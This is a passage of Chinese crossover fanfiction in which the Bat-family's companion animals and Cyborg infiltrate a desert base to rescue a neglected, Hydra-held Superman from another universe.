布莱克对自己宇宙的钢骨并不熟悉，只是看过资料罢了，此时看着这个宇宙的钢骨，却也能觉察出一些不对劲。 钢骨机械的那部分，似乎有些老旧。 “我需要你们的帮助，”钢骨简明扼要说明来意，“帮我们劝说蝙蝠侠加入这场保卫战，帮助我们救出那个被九头蛇囚禁的外星人。” 布莱克看着这家伙。 为什么？ 它们其实可以置身事外的。 没有问出口是因为布莱克怀疑钢骨听不懂，但钢骨似乎猜到了，又或者他本就打算这么说下去。 钢骨直接给了它们一个动力。 “那个被绑架的外星人，在你们的宇宙里和你们关系密切，据说他被称作为超人。” 钢骨强调。 “他本应该是超人的。” 布莱克拒绝的喵喵声卡在了喉咙里。 那是超人？ 斯诺的孵化者？ 那个有着大大农场，很擅长照顾动物，喜欢小孩子，性格超级好，因为到处飞着努力帮助他人，而被它们宇宙的蝙蝠侠戏称为外星救难犬的氪星人？ 但这些都与这个宇宙的“超人”无关了。 他根本没有成为超人。 在降落到这颗星球上的时候，因为降落地点微妙的不同，外星舱引起了官方的关注，那个被九头蛇渗透的千疮百孔的官方组织将外星舱带走，包括其中藏着的小小婴儿。 大红对着布莱克发出微妙的哼声：看来你动摇了。 布莱克对它翻了个微妙的白眼。 然后，大黑猫盯住了钢骨。 一股强烈的危机感和隐约的恐惧爬上钢骨的脊背，他人类的那部分开始冷汗直冒，机械的那部分则因为身体突然的过度紧张而发出警报。 “警告！脑波异常。” “警告——！” 钢骨难以动弹。 他看着面前这只黑化的美洲豹。 看这东西张开嘴，露出白森森的利齿，和猩红的舌头。 好了。 现在告诉我。 为什么你会知道“超人”？ 恐怖的恶魔在提问。 第66章 鲜红色的警报染满了钢骨的视野。 他立刻意识到那只黑色美洲豹肯定有问题,想要抬起手炮攻击，却根本无法移动分毫，只能眼睁睁的看着自己的精神被一点点蚕食,越发的扭曲,变成令人作呕的样子。 钢骨用剩余不多的理智对机械部分进行快速重启。 恐惧引起了强烈的混乱,此时钢骨的内心被逃跑的念头占据,受到这份狂乱的控制,他利用重启争取来的短暂时间,对自己的身体下达转头就跑的命令。 大红却已经悄悄绕到钢骨身后。 它将钢骨的去路封死。 和布莱克完全不同的感觉席卷了钢骨的精神。 它们一只是阴暗角落里潜伏的石像鬼,一只是熊熊燃烧着的鲜红烈焰。 吞没世界的恐惧。 以及，焚毁一切的疯狂。 它们完全不同,却有着相同的根源——死亡给予生命的赠礼。 也是因此,当钢骨失去平衡,精神继续下落，他最终将落入属于死亡的陷阱，在绝对寂静的地狱里徘徊仿徨,找不到任何离开的方向。 在那悲剧发生之前，布莱克和大红先后停止了恐吓。 跌坐在地的钢骨愣愣地看着面前的布莱克，他人类的那部分爬满冷汗，肌肉痉挛发痛，思维缓慢，机械的那部分又开始报错，好在这次情况有所好转,随着一些微弱的电流放出，钢骨找回了对人类那部分的控制权。 “蝙蝠侠……？” 不知为何, 钢骨突然想到了那个人。 布莱克沉默以对。 这时候点头或者摇头都不太对，而且那样会降低自己营造的恐怖效果。 根据孵化了自己的那个蝙蝠侠的说法,这时候最好的解法就是一动不动，无论对方说什么，只要那不是自己想听的，就保持绝对静默。 若是另一种情况，对方没有完全丧胆，还敢逃跑，就再补几拳，打到对方站不起来再继续询问。 那家伙还特意强调，问的时候要礼貌一些。 呵。 老蝙蝠式幽默。 大红从钢骨侧面探出脑袋，用眼神示意布莱克注意钢骨的情况，这家伙居然没有被它们吓疯掉，虽然大脑在短暂的几秒内呈现彻底的空白，仿佛电脑宕机那般，但在几秒后的现在，钢骨看起来居然是一切正常的。 至少没那么的不正常。 “喵呜。”布莱克告诉大红，钢骨这是对自己进行了彻底的重启。 机械那部分重启后靠着电流引导，将人脑那部分也重新启动，以此来摆脱恐惧对思维的致命影响。 布莱克蹲坐在原地，悠闲的舔着爪子。 “喵。”好了，现在说吧，到底是谁将超人的事情告诉你的？ 这个信息被传递到钢骨的脑子里。 通讯员小红落到大红脑袋上稳稳的站住，抖了抖被夜风吹乱的羽毛，扭头回去在背上一顿乱蹭，用鸟喙给自己理毛。 远远地看过去，像是大红脑袋上顶了个红球。 “啾啾。”你好像一只海豹哦。 闭嘴。 大红对着高处那只正嘴里不停叫唤的蓝色极乐鸟龇牙，无声威胁。 极乐鸟会怕么？ 极乐鸟不怕。 还快乐的扇了扇翅膀。 “没有多少时间了。” 钢骨尽可能冷静的告诉它们。 “理论上我们之间无法沟通，我不知道你们是怎么让我听懂那句话的，但……但那不重要，我们必须尽快救出那个被困的外星人。” 布莱克看着他。 这个人类，不知道它们有一个通讯员。 布莱克眯起眼睛。 是这家伙的线人没把它们的情报全部说出来，还是对方也不知道它们的具体能力？ 毕竟它们也没有宣传。 尤其是小红作为通讯兵的能力，应该是没有几个人晓得。 “……” 也不是。 泰坦的人应该知道。 但那些少年应该和它们眼下的问题无关。 布莱克思索片刻，在脑内串起一条简单的线。 红罗宾、泰坦、闪电小子、快银…… 极速者之间都是有关系的，他们的速度，注定了无法像普通人那样生活，大部分极速者都有慢不下来的毛病，以至于他们和这速度平凡的世界逐渐割裂，最后游离去了时间之外。 在这方面快银是其中表现最好的那个。 自然而然的，闪电家族的人也跟快银交上朋友。 有时候是高速移动下的问候，有时候则是刻意约出来比试速度。 渐渐的双方的联系越来越频繁。 若是有谁从快银那边打听到了些什么，似乎也不是完全不可能的事情。 在其他小动物的询问下，布莱克简短的说了自己的猜测，并认为钢骨的线人很可能是个变种人，这就能解释为什么对方知道超人的事情，还能穿越交汇将之告诉钢骨，却不知道它们这些伴生动物的具体情况。 “叽啾！”闪电小子才不是到处乱说话的那种人。 小红也不理毛了，对着布莱克发出抗议的叫唤声。 布莱克对它张了张嘴，一副要把小红当做宵夜吃掉的模样，然后低声呜噜着告诉小红：正是因为他没有乱说，这个钢骨才不知道我们的事情。 小红愣了一下，随后反应过来，不自在的收拢起翅膀。 它意识到布莱克并没有在污蔑闪电小子，可又觉得不太对劲。 如果对方只是知道超人那些众所周知的事情，又怎么能称对方为“线人”呢？ 对布莱克那充满误导的说法非常不满。 在其他小动物做出反应之前，小红拍打着翅膀，就这么飞走了。 大红昂头想要叼住它都来不及，极乐鸟想要去追，却被布莱克的喵呜声叫了回来，布莱克要求它们专心在眼前的工作上，不要分心。 极乐鸟叉着翅膀，无语的看着神情依然冷淡的布莱克。 大红则发出嫌弃的哼声：没了通讯员，你要怎么跟人类沟通？ “喵。”会有人来解决问题的。 既然X教授费了这么大的力气，让这一切发生，就肯定不会允许这事情因为少了一名通讯员而就此功败垂成。 他会为我们解决这个问题的。 布莱克老神在在的舔着嘴，像极了一只正在准备捕猎的凶兽。 极乐鸟不赞同的看着布莱克，大红也是同样。 “叽啾。”明明你已经从X教授那里得到了答案，却还是不相信他的话，想要靠自己去调查线索重新查证一番，你怎么跟那只老蝙蝠一个样子哦。 极乐鸟大声抱怨。 布莱克对它翻了个白眼。 和蝙蝠侠一样？ 不，自己跟那个家伙完全不同。 蝙蝠侠会狠狠揍这个宇宙的钢骨一顿，因为他回答的太慢了。 而布莱克会多给钢骨一点点时间，让他组织语言。 这个世界没有“超人”，钢骨又是从何得知这个称号的？ 其实在布莱克心里，已经早就有一个答案了。 它要求钢骨回答，更像是在抓主动权，要求钢骨服软认输，将后续行动的控制权也一并交出来，让它们能够掌控现在正在发生的事情，这个宇宙的那些它们还无法理解的事情。 极乐鸟提醒它，它们不该跟这个世界牵扯太深。 布莱克却告诉蓝鸟，现在纠结这个已经晚了。 它们和这个世界，已经不再是能轻易撕扯开的状态，既然如此，比起被动接受这个混乱的世界，不如掌握主控权，至少不能任人鱼肉吧。 布莱克认为自己的要求不高。 极乐鸟十分无奈，它和大红对视，发现大红明显已经心不在焉。 大红不打算继续留在布莱克身边了。 这大猫和蝙蝠侠一样讨厌，独断专权，而且非常蛮横，决定的事情一点都不给它们商量的余地，全是通知的语气。 大红想要做的事情是尽快回到它们的宇宙，回到杰森身边。 布莱克却在想要控制这个宇宙的进程。 这行为在大红眼中根本没有意义，都是与它、与它们无关的事情，大红不能接受布莱克将注意力转移去别的地方，既然布莱克已经另有打算，大红自然要同它分道扬镳。 “汪？”你跟谁？ 大红问极乐鸟。 极乐鸟落去了星期五的头上，无奈的看着它们。 这时候钢骨也终于组织好了语言。 看着这群瞬间闹掰的小动物，钢骨也有些找不到自己的台词了。 布莱克做的事情完全出乎钢骨的意料，也远远跳出设计好的框架，让本来正按部就班发展的事情突然变得不可控起来。 钢骨因此陷入迟疑。 他不确定自己是否应该继续原本的计划。 极乐鸟看向这个大个头。 “叽啾。”不过，他一直没有试图攻击我们，也就是说，在刚才的事情之后，他依然相信我们？还是说，那也在他的意料之中呢？ 谁知道呢？ 大红不太相信这个人，虽然杰森对其他超级英雄的评价是整体尚可，若是除却那些微妙的救世主情节，其实也没什么不好的，但哥谭整体排外，大红跟在杰森身边，长久以往自然也染上排外的恶习。 它不怎么相信钢骨，很可能只是因为钢骨不是哥谭人。 当然，是哥谭人更不能相信了。 “矛盾的，哥谭人。” 一个声音在钢骨脑海里响起，他注意到那不是之前的声响了，不过这是正常的，这在他们的意料之中。 “馍馍？”钢骨轻声问。 对方轻微的“嗯”了一声，算是回应，然后问道：“旺达呢？” 钢骨迟疑片刻，还是按照说好的那样，将这个宇宙的情况简单告知。 “没有旺达，也没有幻视，这两个人在我们的宇宙还没有诞生。虽然我们的时间轴能对应，可就人员分布情况来看，我们的时间点大约比你们早了20~40年不等。” 这个宇宙的X教授和万磁王都还是年轻人的模样，似乎才刚刚认识，而斯塔克那边，霍华德和玛利亚还活着，托尼也还是个冲动的年轻人，他们家族的AI系统只是初具雏形，和后期的AI崽根本没法相比。 他们还如此稚嫩，世界却已经濒临崩溃，按照这个速度，旺达和幻视能否顺利诞生都要打个问号。 “……？” 馍馍迷茫了。 第67章 馍馍的迷茫通过感知网络传递给连接的每一个生物,包括了钢骨，以及被它特意链接进来的三只伴生动物。 分开的这段时间中，馍馍的精神操控升级的飞快,也可能原来就有这么厉害？只不过之前因为要不断消化旺达的负面情绪,这才显得它的能力范围十分有限。 而现在的馍馍,似乎是在时间的尽头联系他们,那种遥远的感觉,无法用语言去描述。 “你在哪？”布莱克先问馍馍。 馍馍：“不知道……嗯,但,应该是安全的。”它这么判断。 “你的孵化者呢？” “……幻视在照顾她。”说到这个，馍馍的语气古怪,有种微妙的,没那么开心的感觉,听起来，馍馍依然是不喜欢幻视的。 确认旺达在离开馍馍之前状态都还不错，布莱克这才将注意力放到钢骨身上。 “继续说你知道的。”布莱克直接用下命令的口吻对钢骨说。 在馍馍构架的精神世界中,布莱克的话语可以被钢骨理解了。 馍馍代替了通讯员。 他们先确定了“超人”的问题。 因为理论上，超人首次飞行的时间，和托尼·斯塔克成为钢铁侠的时间差不多，可根据钢骨的资料，这个宇宙的超人在十几年前就降临在大都会了。 布莱克仔细回忆。 在它看过的资料中有关于那个氪星逃生舱的记录，逃生舱具备某种空间向的跳跃和穿梭能力，所以才能跨越如此遥远的距离, 成功到达地球。 在他们宇宙中，超人的逃生舱是有一些损坏记录的。 也许这个宇宙的超人拥有更完整、更好的逃生舱, 又或者是逃生舱的AI做了不一样的路程规划，导致这里的超人更早的降落在地球。 讨论完“超人”的问题,布莱克又问起了“薇薇”。 布莱克很在意那只鸭嘴兽。 钢骨反问：“你是不是已经发现了薇薇的问题？” 布莱克略微颔首表示肯定。 “然后，你认为薇薇是从我们的宇宙过去的？”钢骨接着提问。 布莱克略有些疑惑。 这不是它以为的，这是从X教授那边得到的答案。 “我们宇宙没有伴生动物，”钢骨叹了口气，“薇薇一直都是属于你们宇宙的存在，只不过是在孵化的那一刻，它就因为交汇掉到了我们的世界中。” “它在我们的世界中成长，在交汇发生的时候，返回了你们的宇宙。” 之前，X教授的说法是有强烈矛盾的，那让布莱克十分疑惑，当时布莱克无论如何也想不明白其中的关键，现在结合上钢骨的话，倒是让它想通了其中的部分。 首先是薇薇的孵化。 X教授应该是知道一些情况。 他知道薇薇的孵化者是谁，而且对方那个时候，应该是死了的。 在布莱克身边，就有杰森这个也经历过死亡和复生的案例，那么薇薇的孵化者有相似的经历，也不是不可能的事情。 而因为某些原因， X教授无法继续观察薇薇的孵化者，以至于无法确定对方后面的状态。 可能活着，也可能死了。 考虑到X教授逆天的观察天赋。 布莱克想到一个可能性。 林间小屋里加速的时间真的只是为了让幻视更快的康复吗？ 那结合了魔法与科技，空间和时间的双重隔膜，更像是一种天然屏障，隔绝精神窥探和其他人的视线。 他们在阻挡的，是谁的注视？ 布莱克几乎是靠着直觉，想到了答案。 “旺达想要躲避的，是所有法师和心灵能力者的窥探，还有超人的视线，等等。”馍馍的声音响起，“她想要躲开所有，并不是针对某一个人。” 不是的。 布莱克否定了馍馍的说法。 “虽然你是构造屏障的一部分，可你知道的，也只是你所看见的事实，却不一定就是背后的真相。” 同时它也不认为旺达要躲避的是X教授。 没有道理。 抛开其他细节问题不谈，单就快银还在泽维尔学院生活这一点，就能证明在旺达心中， X教授和泽维尔学院依然代表着安全，否则无法解释旺达为何没有带走快银，或者至少让快银远离泽维尔。 “有没有一种可能。”星期五突然开口：“那个叫做旺达的人，要躲避的，是你嘴里那只叫做薇薇的鸭嘴兽？” 这个设想让布莱克一愣。 星期五的想法是个纯粹的猜测，几乎没有直接的证据可以支撑它的设想，只能暂时将这个想法放在一旁。 布莱克本来也有个没有直接证据支撑的猜测，那就是薇薇和馍馍其实是同位体关系，薇薇的孵化者可能是这个宇宙的旺达，可现在钢骨却明确的说了，薇薇其实也来自它们的宇宙，况且个宇宙的旺达还没有出生。 那么薇薇和馍馍之间，就不可能再是同位体的关系。 “薇薇的孵化者是谁？”布莱克问。 “不知道。” “薇薇它知道吗？” “不知道。” “……” 不知道自己的孵化者是谁，还是不知道自己到底属于哪个地方？ 钢骨的话说的太含糊了。 布莱克不满的张开嘴，露出獠牙。 还没等它开始恐吓的流程，钢骨急忙出声：“嘿！听着！我们现在必须要做的事情是去救出那个外星人，这是至关重要的事情！” 但布莱克已经开始思考。 如果馍馍不是那个知道所有事情的人，那么若是它将代替通讯兵小红的馍馍再次赶走，那个计划了一切的人，又会派谁来代替这个翻译官兼职通讯员的位置？ 布莱克有些蠢蠢欲动。 作为一只真正的狩猎者，美洲豹可不会让人骑在头上，将自己当做棋盘里的棋子那样随意摆弄。 “你真的很像蝙蝠侠。”钢骨无奈地说，“但能不能暂时收一下你的控制欲和强迫症？我们现在真的处于一个需要齐心协力的状态，若是我们的世界毁灭，而你们没能在那之前返回，那么结果只能是作为我们世界的陪葬，随之一同消亡。而这肯定不是你们想要的，也不是我们所期待的。” 钢骨已经在极力劝说。 可布莱克依然不为所动。 钢骨所说的那些，布莱克早就想到了，和这个宇宙一同湮灭确实是个风险，可它不会像狗一样被人扯着链子，牵着往前走，若是让它什么都不清楚，乖乖跟着他人的引导，不知道因果和目的，就这么按部就班的完成任务。 那，是绝不可能的事情。 就像钢骨提到的。 它的控制欲和强迫症在发作，它可以帮助这个宇宙，不需要任何报酬，甚至是它们如何返回的问题，都可以在事后自己慢慢解决，但布莱克绝不可能让别人来决定自己的命运。 而钢骨也该明白这点。 他都说了，布莱克很像蝙蝠侠。 世界末日将近，这个宇宙的老蝙蝠选择死在哥谭，和罪恶同葬，不去理会外界的其他任何事情，让这毫无希望的一切就此终结。 钢骨劝不动老蝙蝠，自然也劝不动布莱克。 见布莱克表现的毫不在乎。 理论上，那个幕后主使的压力是自己宇宙的生死存亡，而布莱克的压力仅是它自己，最多加几个同伴而已，粗略看过去，明显是那家伙受到的压力更大。 所以布莱克十分肯定，先松口的必然是对方。 但这次事情出乎它的意料。 长久的沉默后，什么变化都没发生。 钢骨无奈的叹了口气。 “我得走了。” “你要去做什么？” “去解决我们宇宙的问题。” 钢骨似乎打算自己去营救那个外星人。 布莱克看着他离去的背影，不悦的眯起眼睛，旁边是大红的哼笑声：“那家伙料定事情已经解决，你的演技不过关。” 布莱克瞪了大红一眼。 它们怎么可能真的不管这个宇宙的钢骨和超人呢？ 那也是和它们的孵化者相同阵营，一起并肩作战的存在，不管口头上说多少遍，两个宇宙之间毫不相干，可那些熟悉的面容还在眼前，又怎么可能真的放下？ 布莱克因为那个存在吃定了自己的性格而不爽。 “走吧。”布莱克说着，看了一眼星期五，更加不爽了，“一起，奇迹让你在这里的意思，大概就是为了这件事情。” 想要去军事基地那样几乎是完全封锁的地方救人，星期五的能力是必不可少的，能为它们降低许多风险。 星期五点了点头，它也猜到了自己要做的事情。 小动物们跟上钢骨的步伐，这次是极乐鸟出面，唧唧啾啾的向钢骨询问外星人被关押的具体地点。 钢骨没有隐瞒，将那个基地的详细经纬度告诉它们，为了方便小动物寻找，钢骨直接用投影放出地图，上面已经安排的明明白白，连从哪里出发如何寻找道路都写的一清二楚。 布莱克看了一眼，正要表示自己已经记下，就听到馍馍开口：“我都记下来了。” 而告知它们这些东西，似乎就是钢骨的全部目的，他甚至没有试图让小动物们跟自己一起行动，只是复杂的看了它们一眼，然后就这么走了。 星期五突然汪了一声：看来那家伙很相信我们。 然后，它和布莱克对视。 布莱克盯着星期五，眼底写满了不爽。 星期五嘴角略微抽动，像是在努力扯出一个看起来非常狰狞的笑容。 布莱克也扯了扯嘴角，同样狞笑回去。 “喵呜。” 大猫猫低声呜呜着，对星期五说：军事基地可不只是封闭结构，还有各种防御措施，重力感应和运动感应器等等，希望你知道该如何应付它们。 星期五：…… 第68章 不存在的军事基地。 人类是这么称呼那个的。 它跟个神秘的传闻,或者什么恐怖故事的初始地点一样，没有名字，没有准确地址,神神秘秘的存在于某个无法描述的状态中。 如果它只是故事, 就证明世界还是安全的。 可若是有一日,它真的出现在众人眼前,那世界也将在下一刻随之倾塌。 根据钢骨提供的情报, 小动物们很快锁定了方向。 布莱克、大红、蓝色极乐鸟、星期五、馍馍以及中途回归的小红一起组成了探险队,往沙漠深处走去。 “为什么是沙漠？”馍馍很难理解这个。 “人少。”大红告诉它。 那可不仅是沙漠, 而且还是沙漠深处的无人区。 在这个还没有多少变种人，也没有超人的地球上, 这样一片茫茫沙漠确实是个不错的藏身之处, 尤其是如今最大的敌人是海底人, 亚特兰蒂斯，考虑到海底人不能太长时间离开水源，这沙漠显得额外安全。 就是对小动物们来说, 沙漠的环境未免有些太不友好。 馍馍首当其冲，对此非常不适应，加上它出门都是被旺达带着，在家里就睡婴儿床，几乎是脚不沾地，也就来到这个世界后才勉强自己走过两步路，要它在滚烫的沙地上走路,这约等于直接要去貘的半条命。 馍馍不乐意的爬上布莱克的后背。 布莱克：…… 虽然它确实不介意偶尔帮助一下脆弱的同伴。 毕竟它不是蝙蝠侠，不会一边帮手满天下, 一边反复强调自己是个独行侠，可这并不等于布莱克乐意天天给自己食谱上的家伙当坐骑。 刚开始那只圆润的看着就特别好吃的大水耗子也就算了,只有在需要快速移动的时候才会爬上来。 但是。 现在这只貘又是怎么回事？ 布莱克凶巴巴的盯着食梦貘。 可现在大家都在馍馍的精神链接之中，哪怕布莱克拥有天然屏蔽，也免不了或多或少的泄露内心情绪。 所有小动物都知道，布莱克不爽的原因并不是馍馍要它背。 根本上来说，布莱克是因为馍馍的体质不佳，担心这样的情况深入沙漠是否会遭遇危险，仅此而已。 明明是在担心别人，却偏偏要选择最具有攻击性的表达方式。 “你这家伙，真的好蝙蝠侠哦。”极乐鸟小声啾啾着吐槽。 布莱克面无表情的盯着这只胆大包天的蓝鸟。 蝙蝠侠偶尔会揍娃。 布莱克在想，自己是不是也该偶尔揍揍鸟？ 它低头看了看自己厚实的肉垫，再看看极乐鸟那小到能从它爪子缝里漏过去的身板，默默放弃这个念头。 不行，不能揍，容易出鸟命。 布莱克独自在那磨牙，至于馍馍，还是成功爬上大黑猫的后背，趴稳后馍馍便将自己的精神力集中在地图的绘制工作上，它将钢骨提供的地图铺在大家的脑海中，又把经纬度标注好，确认当前所在位置，最后是它们的目的地。 馍馍做的地图甚至比钢骨提供的更加精细。 “你知道这里？”极乐鸟问它。 馍馍：“我去周围人类的脑子里看了一下，他们有些人是这一带的向导，在这片无人区进进出出过许多次。” 如果这附近有人类在，比较有道德感的那种，一定会告诉馍馍这样做很不好。 可现在这里只有一群小动物。 让它们了解“隐私”这个非常人性化的词，那未免太为难动物了。 跟着馍馍的指引，它们顶着风沙走了大半天，终于找到那处基地的位置。 此时是正午，正常来说，任何生物，都无法在这个时间点入侵沙漠，来到这个地方，也正是因为如此，此时敌人的警戒将会是最弱的。 它们要做的就是趁着敌人放松的时候，借由星期五的能力，悄悄潜入这个基地，再将这个宇宙的超人悄悄带出来。 星期五面无表情。 “没关系，不是有馍馍在嘛。”提姆的伴生，那只血雀小红落在星期五身边，安慰它：“馍馍会将你看到的东西同步传递给我们，无论里面有什么机关，我们都能一起解决。” 星期五依然不想说话。 …… ………… 也许是星期五的能力真的过于离谱，它们这一路走的额外顺利。 太过顺利的状态一度让布莱克感觉非常不好，似乎是在走入陷阱，可又没有任何危险，它们真的就这么成功摸了进来。 最大的问题就是钢骨没给这个基地的内部地图，当然，钢骨不太可能有那个，它们是在找到控制室，打晕看守人员后从基地内部的机器上找到地图，然后才终于找到了关押那个外星人的房间位置。 那个没有名字的外星人蜷缩在红太阳房的角落。 这些人在养育他的过程中，发现在黄太阳下他的身体强度会逐渐增加，于是从那之后，外星人再也不被允许到地面上。 在一定时间的研究后，这些人又发现红太阳光能抑制他的身体强度。 自然而然的，外星人就只能生活在红太阳光覆盖的房间里。 他怀念黄太阳。 他想再看一次那个明亮温暖的球体。 也许是没有名字吧。 外星人的自我也没有那么明确，他服从，恍惚，安静，不知道抵抗，也可能抵抗过，但几乎没有晒过黄太阳，加上一直生活在红太阳的抑制下，外星人的身体比一般的地球人更加虚弱无力，就算反抗也只会被轻松镇压。 这样一来二去，这人也就彻底老实了。 当小动物们找到他，看到的就是这么一个人。 一个……生物。 他是人形的，也有一个属于人的灵魂，但他的眼神空洞，思维平白，没有厚度，明明智力没有问题，却无法对周围的变化做出适当反应。 “他被世界抛弃了。”馍馍是这么形容的。 “不，是他们伤害了他，是他们不许他加入这个世界。”极乐鸟修正了馍馍的说法。 极乐鸟的孵化者迪克·格雷森，也就是夜翼，本就是超人的超级小迷弟，喜欢到“夜翼”这个称号都是取自一个氪星的传说故事，“夜翼与火鸟”，屋子里也有许多超人相关的周边产品，包括手办和cosplay装备。 在这样的环境下，极乐鸟自然也很喜欢超人。 它喜欢超人，看到这个宇宙的超人遭受虐待伤害，也会痛苦难过。 馍馍感觉到那种情绪，默默的躲远了一点。 好不容易不用再吃负面情绪了，馍馍还不想自己的休假这么早就结束，它转动脑袋，假装自己在发呆，不经意低头间，却发现布莱克脑袋略微向后侧，居然是在看着自己。 馍馍脑袋上冒出一个问号，“怎么？” “能把那家伙的负面情绪吃掉吗？”布莱克看着那个外星人提出自己的想法。 负面情绪？ 吃掉？ 想到要吃负面情绪，馍馍就忍不住打了个饱嗝。 如果是特殊情况的话，它也可以吃，虽然很不情愿，可谁让这就是它的能力呢？吃掉那些东西对大家都有好处，这样的话它也可以更快的返回自己的宇宙，回到旺达身边。 无论怎么想，馍馍都觉得幻视不是个合格的监护人。 让幻视照看旺达，绝对是错误的。 那个家伙作为旺达的恋人，一点都不可靠。 馍馍内心嘀嘀咕咕的吐槽幻视，同时低头对布莱克说：“吃的话，可以，但没有的东西，我也没办法吃掉。” “他的内心一片空白。” 布莱克沉默。 那可以说是最糟糕的情况了。 这人对世界的概念恐怕都没有多少认知，谈不上爱，也谈不上恨，没有任何情绪这点本身，也就等于了他对一切都是毫不在意的。 毁灭也好，存在也好。 他都不会在乎。 布莱克有点儿头疼。 这种有些感性的事情比较适合蝙蝠侠来做，那家伙平日里看着凶狠冰冷不通人情，关键的时候却总能说服身边的人。 有时候是自己人，有时候是敌人。 布莱克学会了蝙蝠侠恐吓人的本事，却无论如何也学不会蝙蝠侠说服人的能力。 大概是动物和人类之间，到底是存在代沟的吧。 “不然，你给他一点负面情绪？”小红提议。 布莱克觉得这是个好主意，星期五也支持这个，大红没有发表意见，而极乐鸟则严肃拒绝。 “不可以，要给也是给他一些温馨和充满关爱的记忆，什么叫给他一点负面情绪？” 极乐鸟心累的很，它惊恐的发觉，自己是这群家伙里唯一有点良知的那个了，因此极乐鸟只能拍打起翅膀，努力唤醒这些家伙内心里也不知道存不存在的爱心。 “他已经很惨了，失去了本该拥有的一切，为什么还要给他负面情绪？？？” 极乐鸟不理解。 “但我们需要他尽快振作起来。”小红也知道自己的提议很糟糕，耷拉着脑袋，但它依然认为那个想法值得一试。 当然，能给正面情绪更好。 可他们都知道，馍馍储存的只有负面情绪，尤其是馍馍一直被旺达塞的满满的，现在都还没消化完，更没有空间去装正面的东西了。 现在让馍馍掏出东西来，出来的也只能是负面的那些。 想一想旺达那些年的经历，失去挚爱的味道，只知道一些资料记录的极乐鸟都觉得悲惨可怕，不由得闭上眼睛，不敢想这个计划多么的糟糕。 总之，它绝对反对。 小红也没有坚持，大概也是觉得不太好吧。 只是它们现在也没有别的办法了。 这时候，布莱克突然出声：“更正一下，没有的就是没有，这个人的命运和我们的超人并不一致，你不能说我们宇宙的超人所经历的事情，是他本该有的，也许现在的一切就是他正常的命运。” 极乐鸟：？ ？ ？ 极乐鸟张大眼睛看着布莱克。 它好像懂了。 为什么有时候迪基看着蝙蝠侠，会拳头发痒。 它现在也鸟爪发痒！ 第69章 其他的事情全部暂时放在一旁, 它们还在敌人的领地里呢。 布莱克看着红太阳房间里的外星人，他们之间隔着一层玻璃，玻璃应该是双向的,理论上那人能看到它们,却没有做出任何反应,甚至没有看过来。 “九头蛇有对他洗脑吗？”布莱克让馍馍再检查一下。 “没有。”馍馍告诉它, “但应该不是因为他们不想,而是他们不能,毕竟他脑子里几乎是完全空白的,自我也不算完善，这种时候洗脑……大概也没有东西可以洗掉吧？” “说起来, 九头蛇居然没有在这张白纸上乱画东西？” 小红突然想起另一件事情, 九头蛇的风评可不太好, 他们最喜欢给人脑子洗傻了再往里面乱加东西。 馍馍点了点头：“没有。也许是他们觉得这种空白的状态更加安全。” 毕竟一旦开始作画，白纸就会产生变化，人心又不是真的纸张,可以根据纸的材质决定用哪种颜料来作画，人心是无法控制的，一旦让他开始学习外界的知识，会产生何种变化？那些变化最终到底会是好还是坏？谁也不能保证。 “我进去试着接触他一下吧。”星期五提议。 它可以随意的进去，随意的出来，不会被空间限制，非常适合作为初次接触的人选。 得到其他小动物一致同意后星期五便化作黑雾, 进入红太阳房间。 那光只会压制氪星血脉，对它们这些伴生来说, 更多的是视觉上的污染，星期五顺利来到外星人身旁。 这家伙瘦骨嶙峋,看起来弱到星期五一爪子就能轻易将其拍扁。 星期五看了一会，意识到这人没有任何危险，不仅是力量弱小到无法给他人造成伤害，更是指他的内心没有任何关于斗争的想法。 就算是在这样近的距离，这人也只是看着星期五。 目光中充满了迷茫，不难看出他完全无法理解现在到底是个什么情况。 “他不会连话都不会说吧？”极乐鸟担心的问。 布莱克活动了一下肩膀，示意馍馍将那家伙连接到它们之中。 馍馍和布莱克之间合作有限，还没到产生足够默契的程度，但因为精神链接的存在，它能详细感受所有连接者的思维，布莱克的天然屏蔽会让馍馍很难读取关于它的信息，但是在布莱克刻意表达的情况下，读取也就容易多了。 根据布莱克的要求，馍馍把那人连接进来的同时，还为他设立了一层独立屏蔽，相当于小动物们和这家伙将一起公用同一个聊天群，同时小动物们还持有另一个独立的、不带这个人的聊天群。 平时大家对话的时候，依然使用只属于小动物们的群，同时也能一字不落的收到那人发来的信息。只有在它们回复这个人的时候，才会自动转去那个公共群。 这样它们就能继续轻松的交流，不需要因为这个人加入就变得紧张起来。 对于小动物们来说，要是连在脑海里对话也要时刻记得为自己的孵化者捂住马甲，未免太困难了一些。 “你很擅长做精细活嘛。”大红夸赞道。 馍馍不情愿的承认：“有一部分是跟幻视那家伙学的。” 人脑的思维速度本就惊人，而幻视作为生化人，无论是人的那部分，还是程序的那部分，运算速度都远超常人，哪怕他才刚恢复没有多久，只要馍馍愿意跟他进行交流，自然就能在短时间内学到超级多的知识，而幻视也因为它是旺达的伴生，愿意将自己知道的所有东西都教给馍馍。 “但是学习真的不好玩。” 想起短时间内接收大量知识的感觉，馍馍开始摇头，仿佛脑子里面进水一样，一摇就咣啷咣啷的响。 极乐鸟落到馍馍头上，低头给它理毛，算是在安慰馍馍。 “你们……” 一个陌生的声音出现在它们脑海中。 是那个人。 不是布莱克和大红它们记得的那个声音。 这个氪星来客的声音更年轻，也更沙哑，像是很多年没怎么说过话，发音含糊，语气软弱，气息也是单薄脆弱的。 布莱克很确定，只要自己一个眼神，就能轻易的让这人闭嘴。 接下来要怎么办呢？ “我们直接把事情告诉他吧，比起强行带走他，吓到他，让他知道一切，自己决定跟我们离开，去拯救这个世界，不是更好吗？”极乐鸟提出自己的建议。 “你怎么知道他一定会选择拯救世界，而不是快乐的拍手？”布莱克问它。 这个世界可没有爱过这个超人。 没有善良坚定又不失温柔的养父母照料他成长。 超人还会爱着地球吗？ “你怕不是忘记了，氪星人之所以被绿灯军团限制，就是因为他们是地道的战争种族，烧杀抢掠其他星球的事情做过不少，全名皆兵不说，还个个都是好战分子。” 布莱克提醒极乐鸟。 别忘了。 超人，是个例外。 而且仅限于他们的平行宇宙。 隔壁平行宇宙入侵的时候，那边的超人可是个残暴的独裁者，是最标准的氪星人该有的那副模样。 从这个角度来看，它们宇宙的超人能是现在这幅外星救难犬的模样，很大可能是因为他的养父母——因为被爱着长大，所以学会了如何去爱这个世界。他幼年时候得到的温暖和亲情成为一面坚固的盾，哪怕这个世界回馈给他的并非都是善意，他也能坚定的继续爱下去。 一个个体将会变成什么模样，养育者扮演了至关重要的角色。 而这个宇宙的超人…… 他不恨着这个世界就已经很不错了。 极乐鸟也知道布莱克的话没有错，它因此迟疑片刻，却又很快振作起来，它依然是相信超人的。 